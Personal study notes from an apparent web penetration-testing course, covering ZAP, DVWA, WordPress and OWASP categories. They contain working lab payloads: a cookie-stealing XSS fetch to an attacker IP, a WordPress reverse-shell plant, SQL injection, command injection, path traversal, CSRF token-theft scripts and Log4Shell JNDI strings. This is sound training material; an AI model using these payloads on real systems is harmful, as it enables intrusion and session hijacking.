2. Web Application Concepts
netcat (nc
) is a layer below something like curl. nc <host> -p <port>
opens a raw TCP connection, instead of f.e. a HTTP session like curl
.
Refresh a page and you get cached content, which you can recognize from logs as a 304
with size 0
.
Screenshot:
curl -L
→ follow redirection
curl -X
→ HTTP request type, f.e. POST
curl -H "User Agent: X"
→ change a HTTP header
See the event listener for an HTTP element in Firefox: Open the Web Developer Tools Ctrl+Shift+I
, find an HTTP element where the Inspector shows element
on the right and click that.
Screenshot:
document
refers to the document the JavaScript is running on.
Event listeners are going to be very important to watch. There are ways we can disable them to prevent situations in the frontend to happen that can mess with us.
Screenshot:
Three different ways to have a HTML button:
<button type="button" onclick="alert"('Hello world!')">Click me!</button>
<button onclick="clickHandler()">Click me!</button>
<script>
function clickHandler() {
alert("alert");
}
</script>
- (my attempt)
html, body {
margin: 0;
padding: 0;
}
body {
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
height: 100vh;
}
p {
font-size: 2rem;
}
button {
background-color: lightgrey;
padding: 7px;
border: none;
border-radius: 4px;
cursor: pointer;
}
button.blue {
background-color: #3498db;
color: white;
}
button.green {
background-color: #2ecc71;
color: white;
}
button.orange {
background-color: orangered;
color: white;
}
```html
<div>
<p class="name">freeCodeCamp</p>
<button onclick="changeColor()">Change to Blue</button>
</div>
const name = document.querySelector(".name");
function changeColor() {
name.style.color = "blue";
}
f.e. button.addEventListener()
takes two arguments: the click type and the function you give to the event. You can have an externally named function, but what you are going to see, is an anonymous-function. f.e.
button.addEventListener("click", () =>
alert("PWST");
});
- (from the course)
//You can use this file to add the EventListener to a button
// Make the button text
const buttonText = document.createTextNode("Click Me!");
const button = document.createElement("button");
const buttonContainer = document.getElementById("button-container");
// Attach text to button
button.appendChild(buttonText);
//Set up Event Listener
button.addEventListener("click", => {
alert("PWST");
})
//Attach button to container
buttonContainer.appendChild(button);
Why did we do this entirely in JavaScript? Because so much takes place in JavaScript now, this is the way many elements of an HTML page are produced and presented to you. That’s why it is important to have an understanding of how this works.
On zap: the ZAP ui is broken down into three sections: the sites tree on the left, the quickstart and request- response-pane on the right the bottom the history, search and alerts.
Open tabs: the HTTP sessions on the bottom. On the right: the Break window when we are intercepting and changing data between HTTP requests and responses. On the left hand side, the Scripts window, for creating custom scripts (not necessary right now).
Contexts: How to handle sites: what is in scope for testing, what is out of scope, what technolgoeis they use, how to authenticate to them automatically.
Global Exclude URL options: built-in regex that allow us to exclude certain kinds of URLs in testing. There are built-ins like Google Chrome extensions, Google Analytics. We can add a URL for example for the current browser, Brave.
2-10: Lab - ZAP Enumeration
tip: when researching a website, after populating the Sites
in ZAP, right-click and include in new context.
fuzzing is the technique of using variable kinds of input to test what the output of a specific input is as that input changes over a large list of different kinds of input. For example, index.html
shows a comment left by the developer pointing to a file of interest. comments can be valuable when testing web applications, as they can be clues to new or removed files or functionalities that could be vulnerable.
Don’t sleep on the CSS and JavaScript files as well!
If you want to, download Daniel Messler’s SeclLists. To use that in ZAP:
- Go to a GET-request of any page
- Select the page name (f.e.
about
forabout.html
) - Right-click the selection ⇒
Fuzz...
⇒Payloads...
⇒Add...
⇒ Type:File
,Select
⇒ navigate to and select a wordlist (f.e. /Discovery/Web-Content/common.txt) - Add the file and start the fuzzer
- Sort by result code (
200
)
Now you can see the example secret file:
3-1: PHP
PHP’s concept is server-side rendering HTML programmatically. Examples are Facebook, WordPress. PHP is a code interpreter, run by a web server, with a LAMP (Linux, Apache, MySQL, PHP) or LEMP (Linux, (E)Nginx, MySQL, PHP) stack, usually. PHP modules add functionality to PHP.
3 -2: Lab - PHP with Docker
Usually a POST request is done via a form submission, but you can also do it with a modified request in ZAP.
The PHP code below is vulnerable:
<?php
if (isset($_POST["cmd"])) {
echo "<pre>";
system($_POST["cmd"]);
echo "</pre>";
} else {
echo "<pre>...</pre>";
}
?>
The POST
parameter of cmd
is set and if so, we are executing a system command of whatever that string happens to be. THe system command will run shell commands on the system. So we are creating code execution. This might seem insane, but many developers have put this into applications that they have deployed or something like it to make life easier for them. Functionality over security.
Don’t forget: a POST request is done with data in the post body. So not in the Header text, like with a GET request.
We can do this with curl like this:
We can do this with ZAP like this:
The importance is the content type header:
Content-Type: application/x-www-form-urlencoded
which is what PHP and the web server requires to interpret that data correctly.
The classic web exploit this web page/application is vulnerable to is cross-site scripting, in this case, reflected or DOM-based cross site scripting. Messages are reflected directly and PHP is concatenating the exact string without any sanitization that I put up in here, I am able to inject HTML directly into this page. If i use an h1 tag, for example:
Potential impacts/risks: injecting a download to a malicious page with a fake login or forcing a download.
3-3: Server Side Security Considerations
Injections:
- Local File Inclusion
- Uploaded File Vulnerabilities
- Remote File Inclusion
- Cross-Site Scripting
- Database Injections
- Command Injection
- Server-Side Request Forgery
Local File Inclusion
- When a server-side app can display non-app files that are on the server
- Impact: info disclosure, pivoting opportunities (f.e. /etc/passwd for usernames)
Uploaded File Exploits
- Uploading files that can be executed by the web app
- Impact: remote code execution, privilege escalation or persistence
- Example: uploading a web shell
Remote File Inclusion
- Server-side application displays files from other servers
- Impact: code execution, pivoting
- Example: including fake online login page, injecting JavaScript
Cross-Site Scripting (inclusion of malicious JavaScript into an HTML page)
- Both reflected/DOM-based (use something in the URL or web page components to create malicious code injection) and stored (stored in the database and recreate when page is loaded)
- Leads to executing JavaScript
- Browser takeover, redirect, drive-by downloads
Database Injection (f.e. SQL)
- Server-side application allows unsanitized database queries
- Impact: authentication bypass, information disclosure, pivoting
- Example: SQL injection → authentication bypass
Server-Side Request Forgery
- Server-side application allows network requests from the application to the internal network
- Impact: pivoting, information disclosure, persistence
- Example: URL parameter allows internal IPs
3-4: Lab - Wordpress
For testing sake: the admin username is admin and the password is badboy. You’re welcome, future me.
tip: want to know if you have a server-side rendered application? Use Wappalyzer.
How does Wappalyzer know the Apache and PHP versions? It gets that in the responses by the server itself.
tip: search for responses in ZAP when fuzzing: ⇒ message-processors ⇒ Type: Tag-Creator ⇒ enter regex to match/extract and tag to look for later
A successful Wordpress response is a 302 redirect , which redirects us to Location: http://pwst-server:8000/wp-admin/profile.php
3-5: Lab - DVWA
user-token: cross-site request forgery token that are added to a page. In this case, we can find it in the HTML response of a GET request to the login.php
:
The importance of this token is to make sure ZAP is aware for this CSRF token to look for and handle.
Anti-CSRF-token: TOols ⇒ Options ⇒ Anti-CSRF Tokens ⇒ Add ⇒ ‘from HTML response’
tip: when fuzzing, try to follow-redirects! Options ⇒ Follow Redirects. This way you can check for the actual results of the responses.
tip: be mindful of the fact that ZAP can run several threads and actually mess up the CSRF-token handling. Let ZAP instead run in a single thread. Options ⇒ Concurrent Scanning Threads per Scan: 1
4-2: Broken Access Control
- Users can do/see more than they are supposed to
- in client-side code
- Example: IDOR (Insecure Direct Object Reference)
- application fails to secure access beyond user scope (read other user’s data by id number)
- Example: Local FIle Inclusion
- application displays non-application files resident on the server (user disclosure through /etc/passwd)
- Example: Weak Authorizatoin
- application fails to protect sensitive content (‘secure’ admin page with readable cookie)
- Example: Security Through Obscurity
- application hides sensitive information in ‘complex’ or unsuspected page
How to add a new alert based on an HTTP response:
Moving around a filesystem and displaying files: cat test/../../../../../etc/passwd
.
In the case of the following PHP source code:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
//Input validation
if ( !fnmatch( "file*", $file) && file != "include.php") {
// This isn't the page we want!
echo "ERROR: File not found!";
exit; } ?> ```
Use the following HTTP request:

# 4-3: Cryptographic Failures
Example this website looks at: weak hashing.
One thing you can do with WordPress-sites is mess with the PHP contents of the theme pages directly from the dashboard.
What we can do with the 404.php file is create a reverse shell: trigger a network connection from the PHP server back to our attacking machine.
Attacking machine IP: 10.0.2.15
Start netcat listener: `nc -nlvp 8000`
Use 'Hack-Tools' extension to create a PHP Pentestmonkey's reverse shell, add your IP address and your code, copy the code and add it in the WordPress 2021 theme above/before . Don't forget to remove the `<?php` and `?>` opening and closing tags.

Files to look for when establishing a reverse shell on a WordPress-instance `wp-config.php` as it can contain the database password.


Using MySQL:



We can try to crack this with hashcat as follows:
`hashcat --help | grep 'php'` => use `phpass`
`hashcat -a 0 -m 400 admin.hash ~/Downloads/SecLists/Passwords/Common-Credentials/best1050.txt`

# 4-4: Injection
Cross-Site Scripting
- Abusing application functionality to create malicious JavaScript
- DOM-based: Mutating the HTML document
- Reflected: URL parameters are displayed in the page
- Stored: Saved data rendered for all viewers
Cross-Site Scripting in DVWA
## DOM-based XSS
Looking at XSS (DOM) (/vulnerabilities/xss_d/?default=English), you should always try to experiment with URL parameters to see what they do to a page. An example with adding a HTML element:


To actually do something with this, redirect a user to a login page:
`http://pwst-server:8001/vulnerabilities/xss_d/?default='></select><script>document.location.href="https:joostagterhoek.nl"</script>`
This only works with the DVWA Security set to low, not medium. Why?


Script might be filtered, but what we can instead do, is use an image tag and within that, on error, use a script tag. An example of this would be:
`?default='></option></select><img src=x onerror="alert('XSS')">`


## Reflected XSS


## Stored XSS
#tip: whenever you have a form that doesn't behave the way you want it to (input is limited, f.e.), inspect the form. You can change form lenght, because it's controlled on the side of the client.
.
Try out another img tag with an onerror function in a stored cross-site scripting situation, and you will in the case of DVWA get an alert everytime the page is reloaded.

Another important aspect of stored XSS is secret disclosure, in this case with cookies.
Open the Inspector, go to Applications => Cookies. Disclosing a session cookie, in this case the PHPSESSID, you unset the HttpOnly flag.
JavaScript can then interact with this cookie.
We can set up a listener to catch the PHPSESSID cookie and hijack it. F.e.:
```js
<script>fetch('http://10.0.2.15:8000/'+document.cookie);</script>
Copy that PHPSESSID, open the website in another profile, add the session ID in Inspector ⇒ Application ⇒ Cookie with the correct name and presto! You’re logged in! Interesting: the NoHttp flag in ZAP by default is set to a low severity. This should instead be a high finding. In ZAP: Take your context ⇒ Alert filters ⇒ Add ‘No Http Only’ flag ⇒ Change it to high ⇒ Confirm. The existence of cross-site scripting makes this alert more severe.
4-5: Injection - SQLI
- Poisoning constructed database queries with user input
- Any user input used to access data may be vulnerable (form, search field, login, filter)
A sample SQL query can look like this:
"SELECT * FROM USERS where username=" . $_POST["username"] . "AND password = " .$_POST["password"] . ";"
Select * (all columns) from the users table where the username equals, combined with the username string, concatenate with AND password = and concatenate with the password. The POST values are coming from a form submission like a login, the semicolon ends the query, the dots remember how we combine strings in PHP. This query has no sanitization of user input at all. What if the username I gave it was something like this? ” OR 1=1; —
Combine this with the query and you get:
"SELECT * FROM USERS where username=" . "OR 1=1; -- . " AND password = " . $_POST["password"] . ";"
What happens here is: You combine a username with a quote that ends the query or 1=1. The double dashes are comments in SQL, so ignore the rest of the line. Give me all of the users, whether it’s an empty value, or if 1=1, which is always true, which means it will return all of the users in the database. And the first one is usually the admin.
How to do this with ZAP: use a POST request to a specific form ⇒ Open/Resend with Request Editor.
The error has to do with something we can find in the source code. Namely, the MySQL real escape string. This function is “used to create a legal SQL string that can be used in an SQL statement.” source
What you can do for automated fuzzing:
- Open a POST request in the history ⇒ Select the value you want to fuzz, right click, Fuzz ⇒ Payloads ⇒ File fuzzer
- Select File Fuzzers ⇒ sqli injection ⇒ detect ⇒ etc.
Another option for fuzzing:
- Open a POST request in history, right click, Attack, Active Scan ⇒ Advanced Options, Policy, Apply ‘Off’ Threshold to ‘All’, click Go
- Click injection ⇒ SQL injection ⇒ Medium ⇒ Start Scan
Another available tool is sql map
. To use:
- Right-click a POST request you want to use, Save as Raw ⇒ All ⇒ Save somewhere
- In the folder, run:
sqlmap -r name-of-request-file.raw --dmbs dbms-used
Result can be: ‘POST parameter ‘id’ is ‘Generic UNION query (NULL) - 1 to 20 columns’ injectable, POST parameter ‘id’ is vulnerable, do you want to keep testing the others (if any)‘?
What this means is: a UNION is an SQL statement. For example: 1 UNION SELECT 1
can result in ‘the used SELECT statements have a different number of columns’. So obviously we have a UNION capability, which is what we found. You can do this manually, but you can also let sqlmap do this.
Once you’ve found a vulnerable endpoint, you can for example dump the available databases: sqlmap -r saved-HTTP-request.raw --dmbs used-dbs --dump --dbs
.
Blind SQL injection
1' or 1=1; --
A valuable tool is: swisskeyrepo/PayloadsAllTheTHings link
Use sqlmap for blind SQL injection:
- Select a used HTTP request
- Make it ‘clean’ (remove the SQL injection attempt from the request header)
- Save it, save it raw, request, only the header
sqlmap -r sqli-blind-request-header.raw --dmbs used-dmbs
Remember: a GET request might not be usable if the value after the ? is not ended with &Submit=Submit (so f.e. /?id=1&Submit=Submit HTTP/1.1)
‘GET parameter ‘id’ appears to be a ‘AND boolean-based blind - WHERE or HAVING clause’, which means: it is creating a sequence of true/false statements to guess what the contents of the columns are. Time-based blind query sleep is: a time-based injection uses the sleep command for an arbitrary number of seconds depending on whether something is true in the query. If so, the response will take longer to return. This works only on a stable connection, if you have one, it’s a great way to extract data from a SQL database.
4-6 Injection - Command Injection
- Abusing user input fields that run local server commands
- Example: network tools available through the web interface
- Example: API endpoints (CVE-2022-1388)
Try to simulate what might happen on a shell. What if I want to put another command after an existing command? You can for example use a semicolon: ping -c 4 pwst-server; ls -all
.
4-7: Insecure Design
- Application architecture that presents attack opportunities
- Covers a wide array of issues
- No single attack vector
- Often requires deep explanation to clients
- Example: cross-site request forgery
Cross-site request forgery is when a site is able to accept form requests or other kinds of HTTP requests that send data to the site from off-site. Example: a phishing email for a bank website sends you a link that takes advantage of forms used inside the bank’s website. Clicking on that link in that email will redirect you to a form that sends data to the bank’s website to execute some kind of transaction. The issue in DVWA with security set to low is with this type of links: http://pwst-server:8001/vulnerabilities/csrf/?password_new=PASSWORD&password_conf=PASSWORD&Change=Change# If you have a user click on a link like this, you can change their password!
With security set to medium, it doesn’t work. Why? Because in the case of this page’s source code, it checks the HTTP Referer header:
To combat this, you can take a HTTP Referer header from a previous request and add it to your request. One way to do this is to set a ZAP breakpoint, clicking the green button, sending the request and then changing it before it arrives at the server with a HTTP Referer header from a previous request.
Remember: Password is changed to password123.
One more layer of security when you set the security to ‘High’, is the user token, added to each URL and created for each response. One way to circumvent this is by embedding a page inside of an iframe inside of a webpage that we control. Example:
<html>
<head>
<title>CSRF</title>
<body>
<iframe src="http://pwst-server:8001/vulnerabilities/csrf/"></iframe>
</body>
</head>
</html>
CSRF this way rarely works any more because, as DVWA says, ‘Browsers are starting to default to setting the SameSite cookie flag to Lax, and in doing so are killing off some types of CSRF attacks. When they have completed their mission, this lab will not work as originally expected’. Cookies are expected to be same site, so embedding a page inside of an iframe, the cookie would not pass through the way it did before. A way around this, is to use cross-site scripting, especially stored cross-site scripting. If a script calls a form directly from the site, the session would be logged in. We could pull out the data and the token and then submit the password reset form. Using some JavaScript, we are able to extract the user token:
fetch("http://pwst-server:8001/vulnerabilities/csrf").then(d => d.text()).then(t => {console.log(t)}) ;
4-7: Insecure Design
Example JavaScript to extract the user token from pwst-server:8001/vulnerabilities/csrf:
fetch("http://pwst-server:8001/vulnerabilities/csrf/")
.then(d => d.text())
.then(t => t {
let parser = new DOMParser();
let doc = parser.parseFromString(t, "text/html");
let userToken = Array.from(doc.querySelectorAll("input"))
.filter(i => {
return i.name == "user_token";
})[0];
console.log(userToken.value);
});
This returns the user_token:
To reproduce our request with the user token:
fetch("http://pwst-server:8001/vulnerabilities/csrf/")
.then(d => d.text())
.then(t => {
let parser = new DOMParser();
let doc = parser.parseFromString(t, "text/html");
let userToken = Array.from(doc.querySelectorAll("input"))
.filter(i => {
return i.name == "user_token";
})[0];
console.log(userToken);
let newPass = "password321";
let url = `http://pwst-server:8001/vulnerabilities/csrf/?password_new=${newPass}&password_conf=${newPass}&Change=Change&user_token=${userToken.value}`;
fetch(url)
.then(d => { console.log(d)});
});
This can for example be used in a stored cross-site scripting (XSS) setting.
4-8: Security Misconfiguration
- Default accounts
- Missing hardening
- Unnecessary features (network tooling)
- Example: XML external entities (#XXE)
XXE: XML External Entities
- XML set as data can include “external entities”
- If supported, can disclose local files
- In certain configurations, this can lead to remote code execution
4-9: Vulnerable and outdated components
- The web app version of a ‘supply chain attack’ or vulnerability
- Can be server- or client-side
- Example: Apache vulnerabilities
- Example Flaws in JavaScript imported libraries
- Often combined with other categories
Log4Shell: CVE-2021-44228
- Vulnerability in Log4J 2 logging library
- Allowed JNDI requests to perform arbitrary code execution and information disclosure
- Log4J was in everything
Example using a Docker container in the pwst-resources/4-9 folder:
You can also generate a Log4Shell canary token (don’t forget to escape by adding backslashes \ before the two $ ):
curl -A ${jndi:ldap://x${hostName}.L4J.0nqb6ts4cyj5347mkikvylitg.canarytokens.com/a}
curl -A \${jndi:ldap://x\${hostName}.L4J.0nqb6ts4cyj5347mkikvylitg.canarytokens.com/a}
4-10: Identification and Authentication Failures
Identification and Authentication
- More conceptual than a specific attack vector
- Has to do with application design and hardening
- Can we brute force credentials?
- WIll it allow username enumeration (f.e. WordPress)?
- Does MFA work, is it enabled?
A common identification and authentication failure is weak sessions IDs. We can examine this in DWVWA.
Session IDs that are sequential and easily guessable, can be fuzzed! This means you could fuzz this cookie to see whether you can log in elsewhere or with other privileges in the application.
Moving the security of DVWA up to medium generates a session ID which is a Unix epic time. We can make sure of this by doing the following:
Setting the DVWA security to high generates hashes, probably.
We can try to test and/or crack the hash by using CrackStation
This shows that these are sequentially generated MD5 hashes, which can still be trivially guessed and enumerated (write a script, hash these numbers, get their MD5 hash, use those as our cookie enumerator).
4-11 Software and Data Integrity Failures
Software Data and Integrity
- New category (per 2022 :D)
- Fairly advanced topic
- Concerns the ‘supply chain’
- Security of CI/CD pipelines
- How are development and deployment secrets managed?
- Example: Github and secrets
Possible risks: code injected in your build pipeline without you noticing, or security secrets like keys for cloud assets or API keys could be disclosed, compromising your production environment
If you find a Jenkins server open on a network and you can compromise that, this could provide you remote code execution, or access to build source code, providing you a dangerous persistence mechanism
4-12: Security Logging and Monitoring Failures
- Tricky to detect
- Not always seen during a pentest, more likely afterwards
- Were the attacks detected?
- Where are the logs stored?
- A report or debrief can be as important as the (pen)test
4-13: Server-Side Request Forgery
Server-Side Request Forgery (SSRF)
- It’s an injection, technically
- Coercing the server to make internal network requests on your behalf
- Potentially give you information disclosure or remote code execution
- Example: API endpoint that takes internal URLs or network resource that you may be able to modify
4-14: Extra Practice
Great free resources:
5-1: Client-Side Webapp Introduction
- Client-side web applications resides in the web browser (JavaScript vs. PHP for example)
- Even server-side apps can have large client-side components
- Where the code lives means we attack it differently
- Anything that is client-side can’t be secret (unpack code with browser tools)
HTML from JavaScript
- Modern webapps don’t serve raw HTML
- view-source shows little to nothing
- JavaScript renders HTML
- ZAP has a harder time analyzing such apps
5-2: Lab - Juice Shop
TODO: hier gebleven